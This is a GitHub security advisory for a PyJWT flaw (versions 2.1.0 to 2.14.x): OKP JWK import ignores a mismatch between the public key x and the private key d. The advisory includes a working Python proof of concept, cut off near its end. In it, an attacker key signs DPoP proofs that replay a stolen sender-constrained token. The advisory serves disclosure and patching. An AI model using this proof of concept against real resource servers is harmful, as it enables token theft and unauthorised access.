GitHub Advisoryadvisory · PyPI
GHSA-x33g-cr3x-6449 PyJWT accepts inconsistent OKP x/d JWKs, causing public/private key identity confusion
MEDIUM
Official page ↗
- Aliases
- CVE-2026-102275
- Ecosystem
- PyPI
- Packages
- PyJWT
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N
- Weaknesses
- CWE-345, CWE-348
- Reviewed
- 2026-10-05
Affected packages
• PyPI PyJWT: >= 2.1.0, < 2.15.0 → fixed in 2.15.0
Description
Summary
PyJWT accepts internally inconsistent OKP private JWKs where the declared public key `x` does not correspond to the supplied private key `d`.
When `d` is present, `OKPAlgorithm.from_jwk()` constructs the Ed25519/Ed448 private key from `d` without verifying that the public key derived from `d` matches `x`. As a result, the original JWK can contain one public key identity while PyJWT performs cryptographic operations using a different key.
In affected DPoP integrations, this can allow a stolen sender-constrained access token to be used without possession of the legitimate holder's private key.
Details
The vulnerable logic is in `jwt/algorithms.py`:
```python
if "x" not in obj:
raise InvalidKeyError('OKP should have "x" parameter')
x = base64url_decode(obj.get("x"))
if "d" not in obj:
if curve == "Ed25519":
return Ed25519PublicKey.from_public_bytes(x)
return Ed448PublicKey.from_public_bytes(x)
d = base64url_decode(obj.get("d"))
if curve == "Ed25519":
return Ed25519PrivateKey.from_private_bytes(d)
return Ed448PrivateKey.from_private_bytes(d)
```
When `d` is present, `x` is parsed but never compared with the public key derived from `d`.
For example, PyJWT accepts:
```json
{
"kty": "OKP",
"crv": "Ed25519",
"x": "",
"d": ""
}
```
even though `x` and `d` belong to different key pairs.
The behavior has existed since OKP private-JWK import was introduced:
• Ed25519: PyJWT 2.1.0+
• Ed448: PyJWT 2.2.0+
• Confirmed through PyJWT 2.14.0 and current master
A correct import should derive the public key from `d` and reject the JWK when it does not equal the supplied `x`.
PoC
The reproducer creates two Ed25519 keypairs:
• a legitimate holder keypair
• an attacker keypair
It then:
1. Creates an access token whose `cnf.jkt` is bound to the legitimate public key.
2. Creates a DPoP proof JWK containing the legitimate user's `x` together with the attacker's `d`.
3. Computes the RFC 7638 thumbprint from `x`, which still matches the access-token binding.
4. Passes the complete JWK to `PyJWK.from_dict()`.
5. PyJWT imports the private key from the attacker-controlled `d`.
6. A DPoP proof signed with the attacker's private key verifies successfully.
Observed result:
```text
thumbprint_matches: true
actual_key_is_attacker_key: true
actual_key_matches_declared_x: false
stolen_sender_constrained_token_accepted: true
attacker_has_legitimate_private_key: false
```
Tested on PyJWT 2.13.0, PyJWT 2.14.0, and current master.
The complete reproducer is:
```python
!/usr/bin/env python3
from __future__ import annotations
import base64
import hashlib
import json
import os
import platform
import time
from importlib.metadata import version
from typing import Any
import jwt
from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey
from cryptography.hazmat.primitives.serialization import (
Encoding,
NoEncryption,
PrivateFormat,
PublicFormat,
)
ACCESS_TOKEN_SECRET = b"synthetic-authorization-server-key-32b"
HTTP_METHOD = "GET"
HTTP_URI = "https://resource.example/protected"
def b64url(raw: bytes) -> str:
return base64.urlsafe_b64encode(raw).rstrip(b"=").decode("ascii")
def public_x(private_key: Ed25519PrivateKey) -> str:
return b64url(private_key.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw))
def private_d(private_key: Ed25519PrivateKey) -> str:
return b64url(
private_key.private_bytes(Encoding.Raw, PrivateFormat.Raw, NoEncryption())
)
def jwk_thumbprint(jwk: dict[str, Any]) -> str:
canonical = json.dumps(
{"crv": jwk["crv"], "kty": jwk["kty"], "x": jwk["x"]},
separators=(",", ":"),
sort_keys=True,
).encode("ascii")
return b64url(hashlib.sha256(canonical).digest())
def access_token_hash(access_token: str) -> str:
return b64url(hashlib.sha256(access_token.encode("ascii")).digest())
def verify_resource_request(
access_token: str,
proof: str,
*,
reject_private_header_jwk: bool = False,
) -> dict[str, Any]:
"""Model the security-relevant stages of an RFC 9449 resource server."""
access_claims = jwt.decode(
access_token,
ACCESS_TOKEN_SECRET,
algorithms=["HS256"],
issuer="https://authorization.example",
audience="resource-api",
options={"require": ["exp", "iss", "aud", "sub", "cnf"]},
)
header = jwt.get_unverified_header(proof)
if header.get("typ") != "dpop+jwt" or header.get("alg") != "EdDSA":
raise ValueError("invalid DPoP header policy")
jwk = header.get("jwk")
if not isinstance(jwk, dict):
raise ValueError("missing DPoP JWK")
if reject_private_header_jwk and any(
member in jwk for member in ("d", "p", "q", "dp", "dq", "qi", "k")
):
raise ValueError("DPoP header JWK contains private material")
if jwk_thumbprint(jwk) != access_claims["cnf"]["jkt"]:
raise ValueError("DPoP key does not match cnf.jkt")
key = jwt.PyJWK.from_dict(jwk)
proof_claims = jwt.decode(
proof,
key,
algorithms=["EdDSA"],
options={"require": ["htm", "htu", "iat", "jti", "ath"]},
)
if proof_claims["htm"] != HTTP_METHOD or proof_claims["htu"] != HTTP_URI:
raise ValueError("DPoP request binding mismatch")
if proof_claims["ath"] != access_token_hash(access_token):
raise ValueError("DPoP access-token hash mismatch")
return access_claims
def main() -> None:
legitimate_holder = Ed25519PrivateKey.generate()
attacker = Ed25519PrivateKey.generate()
legitimate_x = public_x(legitimate_holder)
attacker_x = public_x(attacker)
legitimate_public_jwk = {
"alg": "EdDSA",
"crv": "Ed25519",
"kty": "OKP",
"x": legitimate_x,
}
mismatched_proof_jwk = {
**legitimate_public_jwk,
"d": private_d(attacker),
}
pinned_jkt = jwk_thumbprint(legitimate_public_jwk)
now = int(time.time())
access_token = jwt.encode(
{
"aud": "resource-api",
"cnf": {"jkt": pinned_jkt},
"exp": now + 300,
"iat": now,
"iss": "https://authorization.example",
"scope": "admin:read",
"sub": "legitimate-holder",
},
ACCESS_TOKEN_SECRET,
algorithm="HS256",
)
proof_claims = {
"ath": access_token_hash(access_token),
"htm": HTTP_METHOD,
"htu": HTTP_URI,
"iat": now,
"jti": "synthetic-attacker-proof",
}
attacker_proof = jwt.encode(
proof_claims,
attacker,
algorithm="EdDSA",
headers={"jwk": mismatched_proof_jwk, "typ": "dpop+jwt"},
)
imported = jwt.PyJWK.from_dict(mismatched_proof_jwk).key
imported_x = b64url(
imported.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw)
)
accepted_claims = verify_resource_request(access_token, attacker_proof)
public_only_rejected = False
public_only_error = None
public_only_proof = jwt.encode(
proof_claims,
attacker,
algorithm="EdDSA",
headers={"jwk": legitimate_public_jwk, "typ": "dpop+jwt"},
)
try:
verify_resource_request(access_token, public_only_proof)
except Exception as error:
public_only_rejected = True
public_only_error = type(error).__name__
private_member_control_rejected = False
private_member_control_error = None
try:
verify_resource_request(
access_token,
attacker_proof,
reject_private_header_jwk=True,
)
except Exception as error:
private_member_control_rejected = True
private_member_control_error = type(error).__name__
result = {
"environment": {
"PyJWT": jwt.__version__,
"PyJWT_source": str(jwt.__file__),
"Python": platform.python_version(),
…
Related
Alias · CVE (1)
- CVE-2026-102275 PyJWT is a Python implementation of JSON Web Token standards. vulnerability
References
- https://github.com/jpadilla/pyjwt/security/advisories/GHSA-x33g-cr3x-6449 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-102275 advisory
- https://github.com/jpadilla/pyjwt/commit/3cd9ceec33ced359decbad75b413ad668ae6332c web
- https://github.com/jpadilla/pyjwt package
- https://github.com/jpadilla/pyjwt/releases/tag/2.15.0 web